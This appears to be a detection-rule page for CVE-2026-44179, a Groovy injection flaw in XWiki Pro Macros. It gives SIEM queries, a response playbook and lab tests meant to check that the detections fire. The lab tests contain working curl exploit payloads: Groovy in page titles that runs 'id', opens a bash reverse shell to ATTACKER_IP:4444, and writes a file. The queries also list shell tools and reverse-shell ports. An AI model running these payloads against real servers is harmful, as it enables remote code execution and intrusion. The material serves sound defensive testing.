Detect CVE-2026-44179: XWiki Pro Macros RCE via Excerpt-Include Macro in CrowdStrike LogScale
Detects exploitation of CVE-2026-44179, a critical remote code execution vulnerability in com.xwiki.pro:xwiki-pro-macros versions >= 1.13 and < 1.14.5. The vulnerability (CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code) allows unauthenticated or low-privileged attackers to execute arbitrary code on the server by injecting malicious Groovy/Velocity script expressions into XWiki page titles or content that are subsequently processed by the excerpt-include macro. A public proof-of-concept is available.
MITRE ATT&CK
LogScale Detection Query
#repo=base_activities
| event_type=ProcessRollup2
| ParentBaseFileName in ("java", "java.exe")
| ImageFileName in ("bash", "sh", "dash", "zsh", "cmd.exe", "powershell.exe", "whoami", "id", "curl", "wget", "nc", "ncat", "python3", "python", "perl")
| CommandLine != null
| eval risk = "CVE-2026-44179: Shell spawned from Java/XWiki process"
| select timestamp, ComputerName, UserName, ParentBaseFileName, ParentCommandLine, ImageFileName, CommandLine, risk
| sort timestamp desc
| limit 500
// Alternative network-based pivot:
// #repo=base_activities event_type=NetworkConnectIP4
// | RemotePort in [4444, 1337, 9001, 8888]
// | LocalAddressIP4 != "127.0.0.1"
// | LocalPort > 1024
// | [search process_name in ("java", "java.exe")]
// | select timestamp, ComputerName, UserName, LocalAddressIP4, RemoteAddressIP4, RemotePortCrowdStrike Falcon Logscale CQL query to identify shell processes spawned from Java (XWiki JVM) and suspicious outbound network connections indicative of CVE-2026-44179 exploitation through malicious excerpt-include macro payloads.
Data Sources
Required Tables
False Positives & Tuning
- XWiki export or import scripts that call external command-line utilities
- Java management extensions (JMX) tools spawning diagnostic processes on the host
- CI/CD pipelines running integration tests against XWiki where commands are expected
- Legitimate administrator use of XWiki Groovy scripting console for approved operations
Other platforms for CVE-2026-44179
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1XWiki Excerpt-Include SSTI via Groovy Script Block
Expected signal: Process creation event showing java (or catalina) as parent process and a subprocess running 'id' or 'sh -c id'. Network logs may show the HTTP response containing the output of the id command.
- Test 2XWiki RCE Reverse Shell via Excerpt-Include Macro
Expected signal: Outbound TCP connection from the XWiki host JVM process to ATTACKER_IP:4444. Process tree shows java -> bash with interactive shell flags. Network flow records an established connection on port 4444.
- Test 3XWiki File Write via RCE to Establish Persistence
Expected signal: File creation event for /tmp/xwiki_rce_proof.txt with the Java/Tomcat process as the creator. Audit log (auditd or Sysmon for Linux) records a file open/write syscall from the java process.
Response Playbook
Triage
- Identify the XWiki instance version: access the XWiki administration panel or check the installed JAR manifest for com.xwiki.pro:xwiki-pro-macros version. Versions >= 1.13 and < 1.14.5 are vulnerable.
- Review XWiki access logs (xwiki.log, Tomcat access logs) for requests to pages using the excerpt-include macro, particularly those with unusual or encoded page title parameters containing script delimiters such as {{, ${, or Groovy syntax.
- Correlate the triggering alert with process tree data on the XWiki host: determine if a child process was spawned from the Java process that hosts XWiki, and capture the full command line.
- Check for evidence of lateral movement or data exfiltration from the XWiki host by reviewing outbound network connections from the Java/Tomcat process at the time of the alert.
- Determine the identity of the user who created or last modified the page containing the excerpt-include macro — check XWiki history API: /xwiki/rest/wikis/xwiki/spaces/{space}/pages/{page}/history
Containment
- Immediately isolate the XWiki host from the network if active exploitation is confirmed, or restrict inbound access to XWiki to trusted IP ranges via firewall rules while the patch is applied.
- Disable the excerpt-include macro at the XWiki administration level (Administration > Rendering > Macros) to prevent further exploitation without taking the entire instance offline.
- Revoke or rotate credentials of any accounts that submitted or edited pages containing the malicious macro payload, and invalidate active XWiki sessions via Administration > Users.
Evidence Collection
- Capture full XWiki application logs (xwiki.log, catalina.out) covering the window of exploitation, preserving the raw page content including the malicious excerpt-include macro payload from the XWiki database or REST API.
- Collect a memory snapshot of the Java/Tomcat process and a filesystem snapshot of the XWiki data directory (xwiki-data/) to identify any files created, modified, or exfiltrated during the exploitation window.
- Export XWiki audit trail (Administration > Audit > Export) to capture page edit history, macro rendering events, and user activity around the time of the alert.
Escalation Criteria
- !Escalate immediately if any child process of the XWiki JVM shows evidence of credential harvesting (e.g., reading /etc/shadow, accessing Windows LSASS, or reading Vault/secrets files), indicating post-exploitation privilege escalation.
- !Escalate if the XWiki instance is exposed to the public internet or if the compromised account has administrative privileges, as the CVSS 9.9 score and public PoC availability make rapid exploitation highly likely across all exposed instances.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
XWiki page content in the database (MySQL/PostgreSQL/HSQLDB) containing excerpt-include macro with embedded {{groovy}} or {{velocity}} script blocks - >
XWiki application log entries showing Groovy/Velocity rendering errors or unusual template evaluation at the time of exploitation - >
OS-level process creation records showing java (or tomcat) as parent process of a shell, interpreter, or network tool - >
Filesystem artifacts in xwiki-data/ or /tmp/ created by the XWiki process during the exploitation window - >
Network flow logs showing outbound connections from the XWiki server to attacker-controlled IP addresses, particularly on reverse shell ports
Tuning Guidance
Reduce false positives by baselining known-good child processes of the XWiki JVM in your environment (e.g., PDF converters like LibreOffice or wkhtmltopdf invoked for document export). Add these to an exclusion list keyed on the specific command-line pattern and the target executable path. For network-based detections, maintain an allowlist of legitimate outbound destinations from the XWiki host (monitoring endpoints, LDAP servers, mail relays) and exclude them by IP/FQDN and port. Tune severity based on whether the XWiki instance is internet-facing (critical) or internal-only (high). If the XWiki host runs additional Java applications (e.g., Confluence, Jenkins), scope process-parent detections to the specific PID group or service account used by XWiki.
Hunting Queries
Hunt for outbound reverse shell connections from Java/Tomcat processes to external IPs on common reverse shell ports over the past 7 days, to identify XWiki RCE exploitation that may have occurred before detection rules were deployed.
DeviceNetworkEvents
| where TimeGenerated >= ago(7d)
| where InitiatingProcessParentFileName has_any ("java", "tomcat")
| where RemoteIPType != "Private"
| where RemotePort in (4444, 1337, 9001, 8888, 6666, 7777)
| project TimeGenerated, DeviceName, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine
| order by TimeGenerated descindex=* sourcetype IN ("linux_audit", "sysmon") parent_process_name IN ("java", "tomcat")
| where dest_port IN ("4444", "1337", "9001", "8888", "6666", "7777")
| where NOT (dest="10.*" OR dest="192.168.*" OR dest="172.16.*")
| table _time, host, process_name, parent_process_name, dest, dest_port
| sort -_timeRetrospective hunt for shell or interpreter processes spawned from Java/Tomcat parent processes over the past 7 days, to identify historical exploitation of CVE-2026-44179 or related XWiki RCE vulnerabilities.
DeviceProcessEvents
| where TimeGenerated >= ago(7d)
| where InitiatingProcessParentFileName has_any ("java", "tomcat", "catalina")
| where FileName in~ ("bash", "sh", "dash", "python3", "python", "perl", "ruby", "nc", "ncat", "wget", "curl")
| summarize Count=count(), FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated) by DeviceName, FileName, InitiatingProcessCommandLine
| where Count > 1
| order by Count descindex=* sourcetype=linux_audit syscall=execve
| rex field=comm "(?<child_proc>bash|sh|python|perl|nc|wget|curl)"
| where isnotnull(child_proc)
| eval parent_is_java = if(match(ppid_comm, "java"), 1, 0)
| where parent_is_java=1
| stats count, earliest(_time) as first_seen, latest(_time) as last_seen by host, child_proc, exe, key
| sort -countAtomic Red Team Tests
Simulates CVE-2026-44179 exploitation by creating an XWiki page with a title containing a Groovy script block that executes an OS command. The excerpt-include macro on another page references this page, triggering server-side template injection and RCE. Lab use only against a vulnerable XWiki instance (1.13 <= version < 1.14.5).
Command
# Step 1: Authenticate and create a malicious XWiki page via REST API
curl -s -u 'admin:admin' -X PUT \
'http://xwiki-lab:8080/xwiki/rest/wikis/xwiki/spaces/Main/pages/RCETest' \
-H 'Content-Type: application/xml' \
-d '<?xml version="1.0" encoding="UTF-8"?><page xmlns="http://www.xwiki.org"><title>{{groovy}}"id".execute().text{{/groovy}}</title><content>This is a test page.</content></page>'
# Step 2: Create a second page that includes the malicious page via excerpt-include
curl -s -u 'admin:admin' -X PUT \
'http://xwiki-lab:8080/xwiki/rest/wikis/xwiki/spaces/Main/pages/TriggerRCE' \
-H 'Content-Type: application/xml' \
-d '<?xml version="1.0" encoding="UTF-8"?><page xmlns="http://www.xwiki.org"><title>Trigger</title><content>{{excerpt-include reference="Main.RCETest" /}}</content></page>'
# Step 3: Render the trigger page to execute the payload
curl -s -u 'admin:admin' 'http://xwiki-lab:8080/xwiki/bin/view/Main/TriggerRCE'Cleanup
curl -s -u 'admin:admin' -X DELETE 'http://xwiki-lab:8080/xwiki/rest/wikis/xwiki/spaces/Main/pages/RCETest'
curl -s -u 'admin:admin' -X DELETE 'http://xwiki-lab:8080/xwiki/rest/wikis/xwiki/spaces/Main/pages/TriggerRCE'Expected Telemetry
Process creation event showing java (or catalina) as parent process and a subprocess running 'id' or 'sh -c id'. Network logs may show the HTTP response containing the output of the id command.
Expected Detection
Triggers kql/spl/elastic_eql rules detecting shell process spawned from Java parent. Chronicle YARA-L rule fires on PROCESS_LAUNCH with Java parent and shell child.
Simulates a full reverse shell payload injected through the CVE-2026-44179 vector. A Groovy script in the page title executes a bash reverse shell when the excerpt-include macro renders the page. Run in an isolated lab environment with a listener on the attacker machine.
Command
# Start listener on attacker machine first:
# nc -lvnp 4444
# Inject reverse shell via page title SSTI
curl -s -u 'admin:admin' -X PUT \
'http://xwiki-lab:8080/xwiki/rest/wikis/xwiki/spaces/Main/pages/RevShell' \
-H 'Content-Type: application/xml' \
-d '<?xml version="1.0" encoding="UTF-8"?><page xmlns="http://www.xwiki.org"><title>{{groovy}}["bash","-c","bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"].execute(){{/groovy}}</title><content>shell</content></page>'
curl -s -u 'admin:admin' -X PUT \
'http://xwiki-lab:8080/xwiki/rest/wikis/xwiki/spaces/Main/pages/Trigger2' \
-H 'Content-Type: application/xml' \
-d '<?xml version="1.0" encoding="UTF-8"?><page xmlns="http://www.xwiki.org"><title>Trigger2</title><content>{{excerpt-include reference="Main.RevShell" /}}</content></page>'
curl -s -u 'admin:admin' 'http://xwiki-lab:8080/xwiki/bin/view/Main/Trigger2'Cleanup
curl -s -u 'admin:admin' -X DELETE 'http://xwiki-lab:8080/xwiki/rest/wikis/xwiki/spaces/Main/pages/RevShell'
curl -s -u 'admin:admin' -X DELETE 'http://xwiki-lab:8080/xwiki/rest/wikis/xwiki/spaces/Main/pages/Trigger2'
# Kill the reverse shell connection on the listenerExpected Telemetry
Outbound TCP connection from the XWiki host JVM process to ATTACKER_IP:4444. Process tree shows java -> bash with interactive shell flags. Network flow records an established connection on port 4444.
Expected Detection
Fires network-based detection rules in kql (DeviceNetworkEvents, RemotePort 4444), spl (dest_port 4444 from java parent), and crowdstrike_cql (NetworkConnectIP4, RemotePort 4444). Chronicle YARA-L fires on NETWORK_CONNECTION with outbound to port 4444.
Simulates post-exploitation persistence by using the CVE-2026-44179 RCE to write a cron job or web shell file to disk from the XWiki JVM context. Tests detection of file creation artifacts in the xwiki-data directory.
Command
# Inject file-write payload via Groovy in page title
curl -s -u 'admin:admin' -X PUT \
'http://xwiki-lab:8080/xwiki/rest/wikis/xwiki/spaces/Main/pages/FileWrite' \
-H 'Content-Type: application/xml' \
-d '<?xml version="1.0" encoding="UTF-8"?><page xmlns="http://www.xwiki.org"><title>{{groovy}}new File("/tmp/xwiki_rce_proof.txt").text = "CVE-2026-44179 RCE confirmed: " + "id".execute().text{{/groovy}}</title><content>filewrite</content></page>'
curl -s -u 'admin:admin' -X PUT \
'http://xwiki-lab:8080/xwiki/rest/wikis/xwiki/spaces/Main/pages/Trigger3' \
-H 'Content-Type: application/xml' \
-d '<?xml version="1.0" encoding="UTF-8"?><page xmlns="http://www.xwiki.org"><title>Trigger3</title><content>{{excerpt-include reference="Main.FileWrite" /}}</content></page>'
curl -s -u 'admin:admin' 'http://xwiki-lab:8080/xwiki/bin/view/Main/Trigger3'
# Verify file creation
ls -la /tmp/xwiki_rce_proof.txt && cat /tmp/xwiki_rce_proof.txtCleanup
rm -f /tmp/xwiki_rce_proof.txt
curl -s -u 'admin:admin' -X DELETE 'http://xwiki-lab:8080/xwiki/rest/wikis/xwiki/spaces/Main/pages/FileWrite'
curl -s -u 'admin:admin' -X DELETE 'http://xwiki-lab:8080/xwiki/rest/wikis/xwiki/spaces/Main/pages/Trigger3'Expected Telemetry
File creation event for /tmp/xwiki_rce_proof.txt with the Java/Tomcat process as the creator. Audit log (auditd or Sysmon for Linux) records a file open/write syscall from the java process.
Expected Detection
Triggers file-creation branches of kql (DeviceFileEvents), spl (xwiki_file_write=1 or file path matching /tmp/), elastic_eql sequence (file creation event correlated with java parent process). QRadar AQL flags the file creation category event from the Java process.